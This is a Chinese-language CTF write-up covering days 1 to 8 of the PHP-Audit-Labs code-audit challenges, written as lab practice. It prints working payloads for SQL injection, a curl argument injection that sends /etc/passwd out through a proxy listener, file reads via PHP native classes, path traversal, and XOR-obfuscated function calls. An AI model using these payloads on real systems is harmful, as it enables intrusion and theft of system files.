PHP-Audit-Labs-CTF上篇
PHP-Audit-Labs-CTF上篇
前言
目前只做到第8题,后续再把其他的题目一起做完,这个CTF对想学习代码审计的同学还是比较有帮助的。推荐想学代码审计的同学把这十几题CTF做完,建议先自己动手和自己想思路,实在没有思路或者做不出再看解题思路
Day1
Code
解
id
参数每次接收参数都会经过stop_hack
函数进行过滤,但是过滤没有过滤干净,updatexml
函数没有例如黑名单中,这是一个可利用的注入点。结束过滤后,会经过in_array
的函数因此我们还需要绕过in_array
函数
至于如何绕过,说起来也简单,这里的对比没有采用强匹配,所以使用1'
即可绕过,因此payload
应该为
1 | ?id=1’ and (select updatexml(1,make_set(3,'~',(select flag from flag)),1)) |
Day2
Code
1 | // index.php |
1 | // f1agi3hEre.php |
解:
需要绕过parse_url和preg_match 两个函数才能执行exec
parse_url 是以
://
进行判断,://
前面为协议,后面为hostpreg_match则是正则匹配,匹配url结束是否为sec-redclub.com
现在payload组合:xx:// 系统命令 sec-redclub.com
Payload
1 | linux: |
Day3
code
1 | #index.php |
解:
其实我做该题的时候一直在class_exists、sql_autoload_register
反复横跳,但是经过查看手册和思考发现sql_autoload_register
无法加载flag.php
我的目光又回到class_exists
,但是无法绕过class_exists
,经过长时间思考也得不到结果,后面上网查询发现可以利用php
自带的类进行绕过并读取文件
我这里使用GlobIterator进行读取文件
现在先写一下我们的payload
,后续在解释payload
各个参数的意思
1 | ?name=GlobIterator¶m=*.*¶m2=1 |
现在试一下我们的payload
payload运行成功,成功获取其他php
文件名,现在解释一下我们的payload
参数
GlobIterator
代表GlobIterator
类*.*
代表搜索的文件名(可用正则)1
代表FilesystemIterator::CURRENT_AS_FILEINFO
,0
则代表FilesystemIterator::KEY_AS_PATHNAME
读取文件
这里我使用SplFileObject原生类进行读取文件内容
先写payload
,后解释
1 | ?name=SplFileObject¶m=f1agi3hEre.php¶m2=r |
看下我们的payload
是否能读取flag
ok,现在解释一下payload
的意思
SplFileObject
代表SplFileObject
类f1agi3hEre.php
代表打开的文件r
代表打开的方式(权限)该题我觉得比较有意思,让我知道php的自带类也可以这么利用
Day4
该题目代码有点多,不合适放到文章中,点击链接自行下载
解:
在看源码的时候我刚开始是怀疑存在随机数
漏洞的,但是后来查阅PHP手册发现这几个函数不存在随机数
漏洞。
再然后我就把目光瞄到session
上,后面看了一下代码,发现也没有相关漏洞,最后我看到对比的时候采用的是==
,使用==
会存在弱对比
的情况,但是我测试时发现程序会将输入的值进行切片处理,没办法进行弱对比
,后面发现是自己经验不足没想到使用数组
类型输入来绕过切片处理
弱对比
代码
1 | for($i=0; $i<7; $i++){ |
上述代码对比时由于使用==
进行对比,该==
的特定是只比较值,不比较类型,所以产生了弱对比,现在我们知道代码存在弱对比,开始利用,由于弱对比
中true
对比的结果都是true
,有点类似数学中0×任何数都是0
的意思,所以我们直接使用true
进行对比
Day5
Code
1 | #index.php |
解:
变量覆盖
为了方便了解下面代码,先了解一下$$a
的意思
PHP中$a为变量,$$a为可变变量
所谓的可变变量
就是取变量的值作为这个可变变量
的名,看下Demo
就明白了
1 |
|
当请求发送到PHP
时,foreach
会一直循环获取GET、POST
请求和Cookie
信息(由于Cookie在下面没有任何作用,所以我会忽略Cookie
请求)
1 | foreach(array('_POST', '_GET', '_COOKIE') as $__R) { |
(or
代表或字的意思)
第一行代码循环检查是否存在GET or POST
请求然后将$__R
值设置为_GET或_POST
1 | $__R = _GET or _POST |
第二行代码判断$$__R
数据是否存在,这时候的$$__R
值就应该是$_GET or $_POST
了,这是$__R=_GET or _POST
的原因
第三行代码将GET or POST
请求数组分解为$__k和$__v
,也就是
1 | $__k=flag |
第四行代码判断$$__k
变量是否设置,同时$$__k
等于$$__v
就清除$$__k
php
中存在一个特点,就是GET
请求或者POST
请求是可以共存的,我们可以利用这个特定进行绕过waf
函数
当以GET
请求发送flag=test
同时以POST
请求发送_GET[flag]=test
,这时候
1 | $__R = "_POST" |
现在$$__k==$__v
了,所以会清掉GET
请求的['flag'=>'test']
,现在只剩下$_POST[_GET[flag]=test]
,由于waf
函数只有一个foraech
所有到检测时$key=_GET
就不会进到exit
退出
看到extract
函数
当POST
经过extract
时,数组中的_GET
就会变成$_GET
变量,这时候$_GET
变量就又重新创建了
1 | if($_POST) extract($_POST, EXTR_SKIP); |
如果不熟悉extract
函数的可以看下下面的mode
extract
会将数组中的key
值变成变量名,EXTR_SKIP
参数则表示,前面存在此名的变量就不进行覆盖变量处理
1 |
|
md5
判断,由于采用了弱对比,使用md5
加密后以0e
开头的纯数字就可以绕过了
加密前的payloads1502113478a
s1885207154a
1 | if(md5($_GET['flag'] ) == md5($_GET['hongri'])){...} |
来到最终BOSSescapeshellarg、escapeshellcmd
哼哈二将面前了,只要解决他们,我们就能获取flag
escapeshellarg
在字符串周围添加一个单引号并引用\
转义任何现有的单引号,在 Windows 上,escapeshellarg()
用空格替换百分号、感叹号(延迟变量替换)和双引号,并在字符串周围添加双引号。此外,连续反斜杠 (\
) 的每一连串都被一个额外的反斜杠转义。escapeshellcmd
给下列| * ? ~ <> ^ () [] {} $ \ \x0A \xFF
字符前面添加一个反斜杠
,当单引号或双引号
不是一整对时进行转义,在Windows上所有这些字符加上% !
前面都有一个脱字符^
由于
escapeshellcmd
歧视单身的' "
,不是成对的不会进行转义,我们只要输入一个'
就能将之前的转义打乱,让我们后续的命令能跳出url
curl
存在-F
提交表单的方法,同时也可以提交文件,用法curl -F "web=@index.html;type=text/html" url.com
那么最终的payload为
1 | http://baidu.com/' -F file=@/etc/passwd -x localhost:1234 |
这个CTF 对目标的Curl 版本有要求,版本需要在7.19.7
左右
Day6
虽然本题正则偏多,但是正则不是很难,难的是你对语言类型的深度了解,不过整体上该题还是挺有意思的,我挺喜欢的
code
1 | #index.php |
解:
本题的正则有不少,现在我们先看第一个正则
1 | if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) |
[[:graph:]]
匹配任何可见字符串,除了空格
{12,}
匹配至少12次字符串/^
正则开头$/
正则结尾preg_match
匹配成功会返回1
,所以我们需要输入12个字符串aaaaaaaaaaaa
跳出该if
接着就是第二个正则
1 | $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; |
[[:punct:]]
匹配标点符号[[:digit:]]
匹配数字字符,范围[0-9][[:upper:]]
匹配大写字母字符,范围[A-Z][[:lower:]]
匹配小写字母字符,范围[a-z]preg_match_all
匹配正则时找到第一个匹配后,从最后一个匹配的末尾进行后续搜索由于
preg_match_all
的机制找到一个符合正则时就开始沿用最后一个匹配正则的原因,我们不能连段的都是同一个匹配范围,需要间隔,这时候我们的payload
应该是aAaAaAaaaaaaa
这样,程序才能继续往下走看到最后的正则
1 | $c = 0; |
该正则要求输入的内容在标点符号、数字字符、大写字母、小写字母
四选三,现在payload应该是aAaAaA1aaaaaa
现在看到最后的代码
最后的判断需要输入的内容等于42
1 | if ("42" == $password) echo $flag; |
结合上面的所有条件,现在的payload
需要满足标点符号、数字字符、大写字母、小写字母
四选三同时最后的结果还要等于42
我们可以采用float
来编写payload
float
中可以用字母e或E
来代表10的n次幂
,如果不明白看下面的demo
1 |
|
最终payload:
1 | 42.0000e-0000 |
Day7
本题相比前面两题就相对简单许多,没有什么难点,不过也挺有趣
Code
1 | #index.php |
解:
index.php
的代码不多,我直接把全部代码贴出来
1 |
|
parse_str
将字符串解析为变量第六行代码是一个明显的
md5
弱对比,md5
弱对比值只要输入开头为0e
的纯数字字符串就可以绕过了现在我们的
payload
应该为?id=a[0]=s1502113478
,输入payload
就可以跳转到别的php
页面了
uploadsomething.php
的代码看起来挺多的,但是最重要的也就是5、6
行
1 | $referer = $_SERVER['HTTP_REFERER']; |
HTTP_REFERER
为http请求头中的跳转地址REMOTE_ADDR
当前网页的host
看到第2行代码,如果我们的
http
请求中没有携带referer
信息那么直接返回一串字符串,然后程序结束在点
a
链接时会自动携带referer
信息,这就是为什么在index.php
会出现a链接
的原因当携带由
referer
创建由uploads/
+sha1($_SERVER['REMOTE_ADDR'])/
组成的目录我这里创建目录时可能因为权限问题,没有成功创建目录
现在来到最后的代码
1 | if ((@$_GET['filename']) && (@$_GET['content'])) { |
file_put_contents
函数会在前面生成的目录中创建一个由filename
控制的文件,内容则是flag
可能因为权限问题创建目录失败,但是我们可以采用路径穿越
让代码跳到当前目录创建
payload:?filename=../../12.txt&content=123
但是创建后flag
只显示100毫秒
,过了这个时间flag
就消失换成字符串了,所以我们还需要一个脚本替我们去访问该网页
1 |
|
Day8
如果想做出该题,就需要了解php中异或(^)
、取反(~)
的概念,推荐看p🐂的文章,除了P🐂
的还可以看信安之路的
Code
1 | #index.php |
解:
取反
看段代码
在
utf-8
编码中,汉字都是由三个字节组成(Unicode范围由U+0800至U+FFFF),这就是为什么汉字经过utf-8
编码会变成三个字节的原因\x
代表的是utf-8
编码,e5
是unicode
编码代码的意思229
则是e5
16进制转成十进制的意思
再看段代码
1 |
|
妙
的第二个值为166[0xa6]
,取反的值为-167
在16进制中,负数
需要采用补码方式来表示,负数
的补码是在16进制转二进制的值
后将每位值都进行转反,除了符号位
,比如1
变成0
,0
变成1
,然后再在末尾加上1
-167
的16进制为0xFF59
php
中chr函数
只能有255
个字符输出,每当超出255
个字符就开始循环输出
比如16进制0xFF59
转为10进制65369
除255
剩余89
,然后ASCII
编码中89
是大写Y
所以输出了Y
异或
异或运算也叫半加运算,其运算法相当不带进位的二进制加法
1 XOR 1 = 0
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
看个
demo
1 | php > echo '['^'?'; |
[ ASCII编码为 91
? ASCII编码为 63
91、63
转为二进制后分别是0101 1011
、0011 1111
91、63
二进制通过xor
后的结果为100
二进制是0110 0100
ASCII编码100是d
,所以就是为什么[^?
输出小写的d
ok,现在我们可以自己写payload
payload
1 | ?code=$_=%22[[[=,![%22^%22%3C%3E/{@@%3C%22;$_(); |
第二题的多禁止一个_
下划线,影响不大,使用拉丁文绕过即可
payload
1 | $ö="[[[=,!["^"<>/{@@<";$ö(); |